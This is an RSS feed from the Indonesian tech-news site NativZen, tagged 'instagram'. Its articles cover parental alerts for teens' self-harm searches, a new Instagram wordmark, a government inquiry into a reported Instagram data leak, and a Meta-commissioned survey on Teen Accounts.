<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>instagram &#8211; NativZen</title>
	<atom:link href="https://nativzen.com/tag/instagram/feed/" rel="self" type="application/rss+xml" />
	<link>https://nativzen.com</link>
	<description>Berita gadget dan teknologi terbaru</description>
	<lastBuildDate>Sun, 23 Aug 2026 10:36:32 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.5.5</generator>

<image>
	<url>https://nativzen.com/wp-content/uploads/2025/02/cropped-NZ_icon_no_BG-32x32.png</url>
	<title>instagram &#8211; NativZen</title>
	<link>https://nativzen.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Remaja Berisiko? Instagram Bisa Beri Tahu Orang Tua</title>
		<link>https://nativzen.com/2026/08/23/remaja-berisiko-instagram-bisa-beri-tahu-orang-tua/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Sun, 23 Aug 2026 10:36:28 +0000</pubDate>
				<category><![CDATA[APPS]]></category>
		<category><![CDATA[fitur perlindungan remaja]]></category>
		<category><![CDATA[instagram]]></category>
		<category><![CDATA[orang tua]]></category>
		<category><![CDATA[perlindungan remaja]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=31022</guid>

					<description><![CDATA[Instagram mulai memberi notifikasi kepada orang tua di Indonesia jika remaja berulang kali mencari istilah terkait bunuh diri atau menyakiti diri sendiri.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Ada kalanya aktivitas pencarian di media sosial bukan sekadar soal mencari informasi. Bagi orang tua, pola pencarian tertentu bisa menjadi sinyal bahwa anak sedang menghadapi sesuatu yang membutuhkan perhatian.</p>



<p>Melihat kondisi tersebut, Instagram memperluas fitur perlindungan untuk remaja dengan menghadirkan notifikasi kepada orang tua ketika remaja berulang kali mencari istilah yang berkaitan dengan bunuh diri atau tindakan menyakiti diri sendiri dalam waktu singkat.</p>



<p>Fitur ini mulai diterapkan bagi orang tua di Indonesia yang mengaktifkan fitur pengawasan pada Akun Remaja. Instagram mengatakan, notifikasi tersebut dirancang bukan untuk menggantikan peran orang tua, melainkan memberikan informasi yang dapat membantu mereka mengambil langkah dan memulai percakapan dengan anak.</p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="573" src="https://nativzen.com/wp-content/uploads/2026/08/5-1-1024x573.png" alt="" class="wp-image-31023" srcset="https://nativzen.com/wp-content/uploads/2026/08/5-1-1024x573.png 1024w, https://nativzen.com/wp-content/uploads/2026/08/5-1-300x168.png 300w, https://nativzen.com/wp-content/uploads/2026/08/5-1-768x430.png 768w, https://nativzen.com/wp-content/uploads/2026/08/5-1-370x207.png 370w, https://nativzen.com/wp-content/uploads/2026/08/5-1-270x151.png 270w, https://nativzen.com/wp-content/uploads/2026/08/5-1-570x319.png 570w, https://nativzen.com/wp-content/uploads/2026/08/5-1-740x414.png 740w, https://nativzen.com/wp-content/uploads/2026/08/5-1.png 1104w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<h4 class="wp-block-heading">Bukan Sekadar Notifikasi, Ada Panduan untuk Orang Tua</h4>



<p>Instagram memahami bahwa menerima peringatan semacam ini bisa membuat orang tua merasa sangat khawatir. Karena itu, notifikasi tidak hanya berisi informasi mengenai aktivitas pencarian remaja.</p>



<p>Orang tua juga akan mendapatkan materi dan panduan dari para ahli yang dapat membantu mereka untuk dapat memahami situasi serta memulai percakapan mengenai topik yang sensitif tersebut.</p>



<p>Dalam siaran persnya, Instagram menegaskan bahwa sebagian besar remaja tidak menggunakan platform tersebut untuk mencari konten mengenai bunuh diri atau tindakan menyakiti diri sendiri.</p>



<p>Namun, ketika pencarian semacam itu terjadi, Instagram akan segera memblokir pencarian sesuai kebijakan yang dimilikinya dan akan langsung mengarahkan pengguna menuju panduan serta layanan bantuan.</p>



<p>Dengan kata lain, sistem ini bekerja di dua sisi, yakni remaja akan mendapatkan perlindungan di dalam platform, sementara orang tua akan mendapatkan sinyal untuk memberikan dukungan di dunia nyata.</p>



<h4 class="wp-block-heading">Bagaimana Cara Kerja Notifikasi Instagram?</h4>



<p>Lantas, kapan orang tua akan mendapatkan notifikasi? Instagram tidak menjelaskan bahwa satu kali pencarian otomatis akan memicu peringatan. Sistemnya menggunakan pola aktivitas, dengan ambang berupa beberapa kali pencarian dalam waktu singkat.</p>



<p>Pencarian yang menjadi perhatian mencakup kata-kata yang dapat mendorong seseorang melakukan tindakan berbahaya, ungkapan yang mengindikasikan keinginan untuk menyakiti diri sendiri, hingga istilah spesifik yang berkaitan dengan bunuh diri atau menyakiti diri sendiri.</p>



<p>Jika ambang tersebut terpenuhi, pemberitahuan dapat dikirim secara langsung kepada orang tua melalui e-mail, SMS, WhatsApp, sesuai informasi kontak yang tersedia, serta melalui notifikasi di aplikasi Instagram.</p>



<p>Saat dibuka, orang tua akan melihat penjelasan bahwa remaja mereka beberapa kali mencoba mencari istilah terkait dalam waktu singkat. Mereka kemudian dapat mengakses panduan dari para ahli untuk membantu memulai percakapan dengan anak.</p>



<p>Visual yang dibagikan oleh Instagram lewat siaran pers-nya juga memperlihatkan bagaimana peringatan tersebut dapat muncul di perangkat orang tua maupun remaja sebelum fitur diterapkan sepenuhnya.</p>



<figure class="wp-block-image size-large is-resized"><img decoding="async" width="1024" height="465" src="https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-90-1024x465.png" alt="" class="wp-image-31024" style="width:650px;height:auto" srcset="https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-90-1024x465.png 1024w, https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-90-300x136.png 300w, https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-90-768x349.png 768w, https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-90-370x168.png 370w, https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-90-270x123.png 270w, https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-90-570x259.png 570w, https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-90-740x336.png 740w, https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-90.png 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="461" src="https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-91-1024x461.png" alt="" class="wp-image-31025" srcset="https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-91-1024x461.png 1024w, https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-91-300x135.png 300w, https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-91-768x346.png 768w, https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-91-370x167.png 370w, https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-91-270x122.png 270w, https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-91-570x257.png 570w, https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-91-740x333.png 740w, https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-91.png 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<h4 class="wp-block-heading">Instagram Berusaha Menemukan &#8220;Titik Tengah&#8221;</h4>



<p>Ada tantangan tersendiri dalam menerapkan sistem seperti ini. Jika terlalu sensitif, orang tua bisa menerima terlalu banyak notifikasi yang sebenarnya tidak menunjukkan adanya kondisi berisiko. Sebaliknya, jika ambangnya terlalu tinggi, sistem bisa kehilangan momen ketika seorang remaja benar-benar membutuhkan perhatian.</p>



<p>Olehkarena itu, Instagram juga mengatakan telah menganalisis perilaku pencarian dan berkonsultasi dengan para ahli dari Suicide and Self-Harm Advisory Group untuk menentukan ambang yang digunakan.</p>



<p>Perusahaan juga mengakui bahwa orang tua mungkin sesekali menerima notifikasi meskipun sebenarnya tidak ada kondisi berisiko yang perlu dikhawatirkan. Namun, pendekatan tersebut dipilih dengan prinsip kehati-hatian.</p>



<p>Selain itu, Instagram juga menyatakan bahwa akan terus memantau penerapan fitur barunya tersebut serta mendengarkan masukan dari pengguna untuk memastikan sistem dapat bekerja secara optimal.</p>



<h4 class="wp-block-heading">Bukan Fitur Perlindungan yang Berdiri Sendiri</h4>



<p>Notifikasi untuk orang tua ini menjadi bagian dari serangkaian perlindungan yang telah diterapkan Instagram untuk remaja. Platform tersebut memiliki kebijakan yang melarang konten yang mempromosikan atau mengagungkan bunuh diri maupun tindakan menyakiti diri sendiri.</p>



<p>Instagram masih mengizinkan pengguna membagikan pengalaman pribadi terkait persoalan tersebut. Namun, konten semacam itu tidak ditampilkan kepada remaja, termasuk ketika konten berasal dari akun yang mereka ikuti.</p>



<p>Selain itu, Instagram juga memblokir istilah pencarian yang secara jelas berkaitan dengan bunuh diri dan tindakan menyakiti diri sendiri. Alih-alih menampilkan hasil pencarian, pengguna akan diarahkan menuju sumber bantuan dan organisasi lokal yang dapat memberikan dukungan.</p>



<p>Perlindungan serupa juga diterapkan untuk pencarian yang berkaitan dengan kesehatan mental secara umum, meskipun pencariannya tidak secara jelas mengarah pada bunuh diri atau tindakan menyakiti diri sendiri.</p>



<h4 class="wp-block-heading">Teknologi Bisa Menjadi Alarm, Bukan Pengganti Peran Orang Tua</h4>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="576" src="https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-92-1024x576.png" alt="" class="wp-image-31026" srcset="https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-92-1024x576.png 1024w, https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-92-300x169.png 300w, https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-92-768x432.png 768w, https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-92-370x208.png 370w, https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-92-270x152.png 270w, https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-92-570x321.png 570w, https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-92-740x416.png 740w, https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-92.png 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Langkah terbaru Instagram menunjukkan bagaimana media sosial mulai mencoba menggunakan teknologi bukan hanya untuk membatasi konten berbahaya, tetapi juga memberikan sinyal kepada orang dewasa ketika pola aktivitas remaja membutuhkan perhatian.</p>



<p>Meski demikian, notifikasi tetap bukan sebuah diagnosis. Instagram sendiri mengakui kemungkinan munculnya pemberitahuan ketika sebenarnya tidak terdapat risiko yang perlu dikhawatirkan.</p>



<p>Karena itu, nilai utama dari fitur ini justru terletak pada apa yang dilakukan setelah notifikasi diterima, yakni orang tua diharapkan bisa segera hadir, mendengarkan, dan membuka ruang percakapan dengan anak.</p>



<p>Di sisi lain, Instagram mengatakan akan tetap menghubungi layanan darurat apabila mengetahui bahwa seseorang berpotensi tinggi melukai dirinya sendiri, sebuah langkah yang menurut perusahaan telah membantu menyelamatkan nyawa.</p>



<p>Bagi para orang tua yang menggunakan Instagram bersama anak remaja, fitur ini menjadi pengingat bahwa keamanan digital tidak cukup hanya dengan membatasi waktu layar atau memeriksa akun.</p>



<p>Tentu saja yang tak kalah penting adalah mengetahui kapan seorang anak mungkin sedang membutuhkan seseorang untuk mendengarkan. Dan kali ini, Instagram mencoba membantu orang tua mendapatkan sinyal tersebut lebih awal.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Instagram Ganti Wordmark Setelah Satu Dekade, Tapi Bikin Warganet Bingung</title>
		<link>https://nativzen.com/2026/08/14/instagram-ganti-wordmark-setelah-satu-dekade-tapi-bikin-warganet-bingung/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Fri, 14 Aug 2026 11:20:50 +0000</pubDate>
				<category><![CDATA[APPS]]></category>
		<category><![CDATA[instagram]]></category>
		<category><![CDATA[wordmark]]></category>
		<category><![CDATA[wordmark baru]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=30887</guid>

					<description><![CDATA[Kepala Instagram Adam Mosseri memperkenalkan desain tersebut sebagai tampilan yang lebih tajam dan modern.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Setelah hampir satu dekade mempertahankan tampilan wordmark yang ikonik, Instagram akhirnya memperkenalkan desain tulisan <strong>“Instagram”</strong> yang baru. Perubahan ini menjadi salah satu penyegaran identitas visual terbesar platform milik Meta tersebut sejak perubahan desain pada 2016.</p>



<p>Instagram mengumumkan pembaruan wordmark pada Kamis, 13 Agustus 2026. Kepala Instagram Adam Mosseri memperkenalkan desain tersebut sebagai tampilan yang lebih tajam dan modern, tetapi tetap mempertahankan karakter visual yang sudah melekat pada identitas Instagram.</p>



<p>Menariknya, perubahan kali ini bukanlah pergantian ikon aplikasi Instagram. Ikon kamera dengan gradasi warna khas Instagram tetap dipertahankan. Yang berubah adalah bentuk tulisan atau wordmark <strong>“Instagram”</strong> yang selama ini tampil dengan gaya kaligrafi khas.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="576" src="https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-72-1024x576.png" alt="" class="wp-image-30888" srcset="https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-72-1024x576.png 1024w, https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-72-300x169.png 300w, https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-72-768x432.png 768w, https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-72-370x208.png 370w, https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-72-270x152.png 270w, https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-72-570x321.png 570w, https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-72-740x416.png 740w, https://nativzen.com/wp-content/uploads/2026/08/Copy-of-Untitled-72.png 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<h4 class="wp-block-heading">Wordmark Baru Instagram: Masih Khas, tapi Lebih Modern</h4>



<p>Desain baru mengambil pendekatan yang berada di antara gaya tulisan tangan dan tipografi cetak. Instagram tidak sepenuhnya meninggalkan karakter cursive yang sudah menjadi bagian penting dari identitasnya.</p>



<p>Tim desain Instagram menyebut pendekatan tersebut tetap mempertahankan hubungan dengan estetika awal Instagram sekaligus memberikan tampilan yang lebih bersih dan relevan dengan perkembangan platform saat ini.</p>



<p>Keputusan tersebut cukup masuk akal. Wordmark lama sudah digunakan sejak era perubahan identitas visual Instagram pada 2016 dan telah menjadi salah satu elemen branding yang sangat mudah dikenali.</p>



<h4 class="wp-block-heading">Kenapa Instagram Mengubah Wordmark?</h4>



<p>Perubahan ini tidak sekadar soal mengganti bentuk huruf. Platform yang awalnya dikenal sebagai layanan berbagi foto kini berkembang menjadi ekosistem yang dipenuhi Reels, Stories, video pendek, kreator, fitur belanja, pesan langsung, hingga berbagai fitur berbasis AI.</p>



<p>Karena itu, sistem visual Instagram juga perlu berkembang untuk merepresentasikan perubahan tersebut. Instagram mengatakan identitas visual barunya dirancang untuk menonjolkan kreativitas, individualitas, dan ekspresi diri para penggunanya.</p>



<p>Perusahaan juga memperbarui sistem tipografinya dengan memperkenalkan Instagram Pen yang memiliki karakter seperti tulisan tangan serta Instagram Mono. Sementara itu, Instagram Sans tetap menjadi bagian dari sistem tipografi brand tersebut.</p>



<h4 class="wp-block-heading">Bukan Sekadar Wordmark</h4>



<p>Pembaruan wordmark ini menjadi bagian dari penyegaran sistem brand Instagram yang lebih luas. Instagram juga mempertahankan penggunaan warna gradasi khasnya, tetapi dengan pendekatan yang lebih fleksibel dan subtil. </p>



<p>Fokusnya kini bukan hanya sekadar membuat identitas Instagram terlihat mencolok di mata pengguna, melainkan memberikan ruang lebih besar bagi konten yang dibuat pengguna untuk menjadi pusat perhatian.</p>



<p>Hal tersebut penting karena kekuatan utama Instagram saat ini bukan lagi hanya berasal dari logo atau identitas visualnya, tetapi dari jutaan kreator dan komunitas yang mengisi platform tersebut setiap hari.</p>



<h4 class="wp-block-heading">Netizen Malah Memperdebatkan Keterbacaan</h4>



<p>Namun, desain baru Instagram ternyata tidak langsung mendapatkan sambutan positif. Sejumlah pengguna media sosial mempertanyakan keterbacaan beberapa karakter pada wordmark baru tersebut. </p>



<p>Bahkan, sebagian netizen bercanda bahwa tulisan <strong>“Instagram”</strong> terlihat seperti <strong>“Instagzam”</strong> atau variasi lainnya karena bentuk sejumlah huruf dinilai terlalu ambigu. Perdebatan ini menunjukkan bahwa perubahan tipografi sekecil apa pun bisa menjadi persoalan besar bagi sebuah brand yang sudah sangat dikenal.</p>



<p>Menariknya, tim desain Instagram juga sempat memperlihatkan sejumlah alternatif tipografi yang mereka pertimbangkan sebelum memilih desain final. Beberapa alternatif tersebut dinilai pengguna justru lebih mudah dibaca.</p>



<h4 class="wp-block-heading">Mengingatkan pada Kontroversi Rebrand 2016</h4>



<p>Perubahan ini juga menarik jika dibandingkan dengan keputusan Instagram pada 2016. Saat itu Instagram mengganti ikon kamera retro dengan desain kamera minimalis berwarna gradasi. Reaksi awal publik juga sangat keras karena banyak pengguna merasa identitas lama Instagram lebih ikonik.</p>



<p>Namun, satu dekade kemudian, ikon gradasi tersebut justru telah menjadi salah satu simbol aplikasi yang paling mudah dikenali di dunia. Situasi tersebut membuat kontroversi terhadap wordmark baru Instagram menjadi sesuatu yang menarik untuk diamati.</p>



<p>Bisa jadi, desain yang hari ini dianggap aneh atau sulit dibaca oleh para warganet justru akan terasa sangat familiar beberapa tahun mendatang. Jadi, kita tunggu saja reaksi tersebut beberapa tahun ke depan.</p>



<h4 class="wp-block-heading">Instagram Tidak Mengubah Ikon Aplikasinya</h4>



<p>Bagi pengguna yang khawatir Instagram akan mengganti seluruh identitas visualnya, sejauh ini belum ada perubahan besar terhadap ikon aplikasi. Instagram masih mempertahankan ikon kamera dengan gradasi warna yang menjadi identitas utamanya.</p>



<p>Jadi, perubahan yang terjadi saat ini lebih tepat disebut sebagai penyegaran wordmark dan sistem identitas visual, bukan rebranding total. Implementasinya akan dilakukan secara global mulai 2026 dan diterapkan secara bertahap dalam beberapa tahun ke depan.</p>



<h4 class="wp-block-heading">Sepuluh Tahun Kemudian, Instagram Kembali Bereksperimen</h4>



<p>Perubahan wordmark Instagram menunjukkan bagaimana brand digital besar harus terus beradaptasi tanpa kehilangan identitas yang sudah dikenal penggunanya. Instagram tampaknya tidak ingin membuang karakter tulisan tangan yang telah menjadi bagian dari DNA brand.</p>



<p>Sebaliknya, karakter tersebut dipertahankan dan dikombinasikan dengan bentuk yang lebih modern. Pertanyaannya sekarang adalah: apakah pengguna akan terbiasa dengan wordmark “Instagram” versi baru ini?</p>



<p>Jika melihat sejarah perubahan identitas Instagram, jawabannya mungkin membutuhkan waktu. Sepuluh tahun lalu, ikon baru Instagram sempat dianggap kontroversial. Kini, ikon tersebut justru menjadi simbol yang sangat familiar.</p>



<p>Bukan tidak mungkin, wordmark yang hari ini disebut “Instagzam” oleh kebanyakan warganet alias netizen justru akan menjadi wajah Instagram yang terasa biasa saja beberapa tahun dari sekarang. Bagaimana menurut kamu?</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Meta Dipanggil Kemkomdigi Soal Isu Keamanan Data Pengguna Instagram</title>
		<link>https://nativzen.com/2026/01/16/meta-dipanggil-kemkomdigi-soal-isu-keamanan-data-pengguna-instagram/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Fri, 16 Jan 2026 09:33:58 +0000</pubDate>
				<category><![CDATA[APPS]]></category>
		<category><![CDATA[data pengguna]]></category>
		<category><![CDATA[instagram]]></category>
		<category><![CDATA[kemkomdigi]]></category>
		<category><![CDATA[meta]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=25734</guid>

					<description><![CDATA[Proses reset kata sandi merupakan mekanisme internal yang berjalan melalui sistem resmi Instagram.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com </strong>&#8211; Kementerian Komunikasi dan Digital (Kemkomdigi) meminta penjelasan resmi dari Meta selaku penyelenggara sistem elektronik (PSE) layanan Instagram terkait isu dugaan kebocoran data pengguna dan informasi yang beredar mengenai proses reset kata sandi.</p>



<p>Pertemuan klarifikasi telah dilakukan pada 14 Januari 2026. Dirjen Pengawasan Ruang Digital Kemkomdigi, Alexander Sabar, menyampaikan bahwa Meta menjelaskan proses reset kata sandi merupakan mekanisme internal yang berjalan melalui sistem resmi Instagram dan tidak membuka akses kata sandi kepada pihak lain.</p>



<p>Terkait informasi dugaan kebocoran data yang dikaitkan dengan laporan pihak ketiga, Instagram menyampaikan bahwa hingga saat ini masih dilakukan investigasi lebih lanjut untuk memastikan keabsahan isu tersebut.</p>



<p>“Tidak ada password pengguna yang dapat diakses atau diperoleh oleh pihak mana pun selain oleh pemilik akun itu sendiri, serta tidak ditemukan indikasi penyalahgunaan fitur reset password untuk pengambilan data oleh pihak eksternal,&#8221; ucap Alexander.</p>



<p>Alexander juga menegaskan bahwa pemanggilan dan klarifikasi terhadap Penyelenggara Sistem Elektronik (PSE) merupakan kewenangan Komdigi sebagaimana diatur dalam Peraturan Pemerintah Nomor 71 Tahun 2019 tentang Penyelenggaraan Sistem dan Transaksi Elektronik.</p>



<p>“Pemanggilan terhadap Meta terkait isu yang beredar luas ini merupakan bagian dari komitmen negara dalam melindungi data pribadi masyarakat dan menjaga keamanan ruang digital nasional,” tegasnya.</p>



<p>Komdigi mengimbau masyarakat untuk tetap tenang, tidak mudah terpengaruh oleh informasi yang belum terverifikasi, serta terus meningkatkan kewaspadaan dalam menjaga keamanan akun digital masing-masing.</p>



<p>Selain itu, Komdigi juga akan terus melakukan pengawasan dan mengambil langkah yang diperlukan guna memastikan keamanan sistem elektronik serta pelindungan data pribadi masyarakat Indonesia.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Orang Tua Indonesia Mendukung Akun Media Sosial Khusus Remaja</title>
		<link>https://nativzen.com/2025/10/02/orang-tua-indonesia-mendukung-akun-media-sosial-khusus-remaja/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Wed, 01 Oct 2025 22:05:01 +0000</pubDate>
				<category><![CDATA[APPS]]></category>
		<category><![CDATA[akun remaja]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[instagram]]></category>
		<category><![CDATA[media sosial]]></category>
		<category><![CDATA[meta]]></category>
		<category><![CDATA[whatsapp]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=22882</guid>

					<description><![CDATA[91% orang tua dan wali mendukung perusahaan media sosial menciptakan akun khusus untuk remaja.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Di Meta, melindungi pengguna—termasuk remaja—adalah prioritas utama. Selama lebih dari satu dekade, Meta telah mengembangkan produk yang mengutamakan keselamatan remaja. Kini, semakin banyak pihak di industri yang sepakat bahwa remaja berhak mendapatkan perlindungan yang konsisten di semua platform digital yang mereka gunakan.</p>



<p>Karena itu, awal tahun ini Meta memperkenalkan Akun Remaja Instagram di Indonesia, yang menghadirkan pengalaman baru bagi remaja serta orang tua dan wali mereka. Akun Remaja memiliki perlindungan bawaan yang membatasi siapa yang dapat menghubungi remaja dan jenis konten yang dapat mereka lihat.</p>



<p>Tidak hanya itu, Akun Remaja juga dapat membantu memastikan waktu mereka di media sosial digunakan secara positif. Remaja secara otomatis ditempatkan ke dalam Akun Remaja, dan remaja di bawah 16 tahun memerlukan izin orang tua atau wali untuk mengubah pengaturan bawaan menjadi lebih longgar.</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="576" src="https://nativzen.com/wp-content/uploads/2025/10/Instagram-Teen-2-1024x576.webp" alt="" class="wp-image-22883" srcset="https://nativzen.com/wp-content/uploads/2025/10/Instagram-Teen-2-1024x576.webp 1024w, https://nativzen.com/wp-content/uploads/2025/10/Instagram-Teen-2-300x169.webp 300w, https://nativzen.com/wp-content/uploads/2025/10/Instagram-Teen-2-768x432.webp 768w, https://nativzen.com/wp-content/uploads/2025/10/Instagram-Teen-2-370x208.webp 370w, https://nativzen.com/wp-content/uploads/2025/10/Instagram-Teen-2-270x152.webp 270w, https://nativzen.com/wp-content/uploads/2025/10/Instagram-Teen-2-570x321.webp 570w, https://nativzen.com/wp-content/uploads/2025/10/Instagram-Teen-2-740x416.webp 740w, https://nativzen.com/wp-content/uploads/2025/10/Instagram-Teen-2.webp 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Meta kini juga memperluas fitur Akun Remaja ke Facebook dan Messenger di Indonesia untuk meningkatkan keamanan remaja dan memberikan ketenangan bagi orang tua. Langkah-langkah ini dirancang untuk mendukung prioritas keselamatan keluarga, sekaligus memungkinkan remaja menggunakan media sosial secara aman di lingkungan yang terlindungi.</p>



<h3 class="wp-block-heading"><strong>Dukungan yang Kuat dari Orang Tua</strong></h3>



<p>Meta merancang Akun Remaja dengan mempertimbangkan kekhawatiran utama orang tua dan wali. Dalam riset terbaru, mereka menyatakan dukungan kuat terhadap Akun Remaja. <a href="https://l.facebook.com/l.php?u=https%3A%2F%2Fwww.ipsos.com%2Fsites%2Fdefault%2Ffiles%2Fct%2Fnews%2Fdocuments%2F2025-09%2FIpsos%2520%2526amp%253B%2520Meta%2520Indonesia%2520Parent%2520Survey%2520-%2520English.pdf&amp;h=AT36_ZIFaBXMzCpA_ltGd0vJWFSW8H0Ft5TMs6Au48w69m_Nfu4-HB-WG4kK5napPd0abBuote7m0GWNgbfCinskJ_KYQsuPq-PB22slv9vLZepHaArZc6elxhfXZNa4IUj85TJZP_Qyzx9iXEysrK8X" target="_blank" rel="noreferrer noopener">Survei</a> yang dilakukan oleh Ipsos, atas nama Meta,  terhadap orang tua dan wali di Indonesia mengungkap bahwa:</p>



<ul>
<li>91% orang tua dan wali yang disurvei mendukung perusahaan media sosial menciptakan akun khusus untuk remaja dengan perlindungan tambahan, dan 92% menganggap Akun Remaja Instagram bermanfaat bagi orang tua.</li>



<li>87% orang tua dan wali yang disurvei mengatakan Akun Remaja Instagram membuat mereka lebih percaya diri membiarkan remajanya menggunakan Instagram.</li>



<li>Lebih dari 90% orang tua dan wali yang disurvei mengatakan setiap perlindungan bawaan yang diberikan oleh Akun Remaja Instagram akan membantu mendukung anak remaja mereka di Instagram.</li>
</ul>



<h3 class="wp-block-heading"><strong>Komitmen Meta dalam Mendukung Remaja</strong></h3>



<p>Meskipun hasil survei ini sangat positif, Meta terus berinovasi untuk mendukung orang tua, wali, dan remaja. Kami dengan bangga mengumumkan bahwa pengalaman Akun Remaja kini diperluas ke Facebook dan Messenger di Indonesia. </p>



<p>Hal ini memberikan dukungan dan ketenangan lebih bagi orang tua dan wali, serta memastikan remaja dapat terhubung dengan teman dan mengeksplorasi minat mereka di media sosial dengan perlindungan yang memadai.</p>



<p>Serupa dengan yang diterapkan di Instagram, seperti pembatasan otomatis terhadap kontak yang tidak pantas atau tidak diinginkan, serta fitur untuk memastikan waktu remaja di media sosial digunakan secara positif.</p>



<h3 class="wp-block-heading"><strong>Menyeimbangkan Manfaat Koneksi Daring</strong></h3>



<p>Dukungan besar dari orang tua dan wali terhadap pengalaman daring khusus remaja dengan perlindungan bawaan menunjukkan pentingnya pendekatan seimbang terhadap keselamatan daring. Membatasi akses untuk anak di bawah 16 tahun bisa mengurangi peluang berharga untuk terhubung, belajar, dan hiburan. </p>



<p>Namun, pendekatan yang terukur dengan akun khusus remaja yang dilengkapi perlindungan dan dukungan bawaan, seperti Akun Remaja dari Meta, menghargai prioritas keselamatan keluarga sekaligus memungkinkan remaja menggunakan media sosial secara aman di lingkungan yang terlindungi.</p>



<p>Meta berkomitmen untuk terus bermitra dengan keluarga dan komunitas dalam menciptakan lingkungan daring yang aman bagi remaja. Dengan menerapkan langkah-langkah perlindungan ini, kami ingin mendukung keluarga dan meningkatkan pengalaman daring yang aman bagi remaja di Indonesia.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Meta Umumkan Pembaruan Fitur untuk Perlindungan Remaja</title>
		<link>https://nativzen.com/2025/07/29/meta-umumkan-pembaruan-fitur-untuk-perlindungan-remaja/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Tue, 29 Jul 2025 00:51:20 +0000</pubDate>
				<category><![CDATA[APPS]]></category>
		<category><![CDATA[akun remaja]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[instagram]]></category>
		<category><![CDATA[meta]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=21011</guid>

					<description><![CDATA[Akun remaja kini dilengkapi dengan fitur keamanan baru di Pesan untuk memberikan informasi mengenai lawan bicara mereka.]]></description>
										<content:encoded><![CDATA[
